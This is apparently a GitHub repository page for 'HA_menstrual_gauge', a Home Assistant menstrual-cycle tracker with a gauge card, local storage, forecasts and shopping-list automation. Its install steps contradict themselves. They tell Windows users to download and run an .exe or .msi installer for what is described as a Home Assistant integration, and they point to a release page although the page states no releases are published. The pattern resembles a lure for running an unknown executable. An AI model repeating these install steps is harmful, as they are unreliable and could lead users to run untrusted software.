Skip to content

DiscordBotssS/HA_menstrual_gauge

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

33 Commits
 
 
 
 
 
 
 
 

Repository files navigation

⚙️ HA_menstrual_gauge - Track Menstrual Cycles Easily

Download Latest Release


📝 About HA_menstrual_gauge

HA_menstrual_gauge is a tool designed to help you track your menstrual cycle from home. It works with Home Assistant, a popular home automation system, and offers both backend integration and a clear gauge card you can use. This gauge shows your cycle details in an easy-to-read format.

The software stores your data locally, so your cycle information stays on your device. You can edit your cycle start dates to keep records accurate. It also predicts your next cycle start date using forecast features. If you want, you can set it to create optional shopping lists for supplies based on how many days remain before your next cycle.

This app is ideal for those who want to keep track of their cycle in a private and simple way without needing complex setup steps.


🛠️ System Requirements

To run HA_menstrual_gauge on Windows, make sure your system meets the following:

  • Windows 10 or later (64-bit recommended)
  • At least 250 MB free disk space
  • Stable internet connection for initial setup
  • Home Assistant installed and running on your home network
  • Basic permission to install and run software on your computer

🚀 Getting Started: Download and Install

  1. Click the big green button below to visit the release page:
    Download Release

  2. On the release page, find the latest version. Look for files ending with .exe or .msi. These are the installer files for Windows.

  3. Click the file to download it to your computer.

  4. Once the download finishes, open the file to start installation.

  5. Follow the instructions on-screen. Usually, clicking "Next" and then "Install" is enough.

  6. When installation completes, launch the app from the Start menu or your desktop shortcut.


🧩 Setting Up with Home Assistant

HA_menstrual_gauge works as an add-on to Home Assistant. Here is a simple way to connect it:

  1. Open your Home Assistant interface on your web browser.

  2. Go to the "Integrations" page from the main menu.

  3. Click the "Add Integration" button.

  4. Search for “HA_menstrual_gauge” in the integration list.

  5. Select it and follow the prompts to complete the setup.

  6. The integration will connect your cycle tracking data to the Home Assistant system.


📊 Using the Lovelace Gauge Card

After integration, you can add a gauge card to your Home Assistant dashboard.

  1. On your Home Assistant dashboard, click the three dots at the top right.

  2. Choose "Edit Dashboard."

  3. Click "Add Card."

  4. Scroll down and select the “Gauge” card type.

  5. Configure the card to use the HA_menstrual_gauge sensor. This will display your cycle status visually.

  6. Save your changes. The gauge will now show your current cycle phase, days until next cycle, and other relevant data points.


🗂️ Local Data Storage and Editing History

Your cycle information stays in your device to respect your privacy.

  • You can view and edit your cycle start dates inside the app at any time.

  • To modify past data, open the app and go to the history section.

  • Select the date you want to change and enter the correct start day.

  • Save your changes. This keeps predictions accurate.


🔮 Forecast Features

HA_menstrual_gauge estimates your next cycle start based on past data.

  • It shows forecast attributes in the gauge card and within the app.

  • You can see days left before your next period.

  • This helps you plan and stay prepared.


🛒 Optional Shopping-List Automation

The app can create shopping lists for items you may need before your cycle starts.

  • Activate this feature in the app settings.

  • Set which supplies to include, like pads or pain relief.

  • The list updates automatically based on days until your next cycle.

  • You can use Home Assistant to trigger reminders or orders.


📂 Where to Find Support and Updates


🔧 Troubleshooting Tips

If you have problems running the software, try these steps:

  • Make sure Home Assistant is running with the latest version.

  • Restart the app and your computer.

  • Check your internet connection for setup steps.

  • Review the integration status in Home Assistant’s settings.

  • Update to the newest release file if available.


🏷️ Repository Details and Topics

This project relates to the following areas:

  • biosensor
  • gauges
  • home-assistant integration
  • menstruation tracking

These topics help connect the tool to similar Home Assistant projects and tracking devices.

About

Track and visualize menstrual cycles in Home Assistant with a persistent backend and interactive Lovelace card integration.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors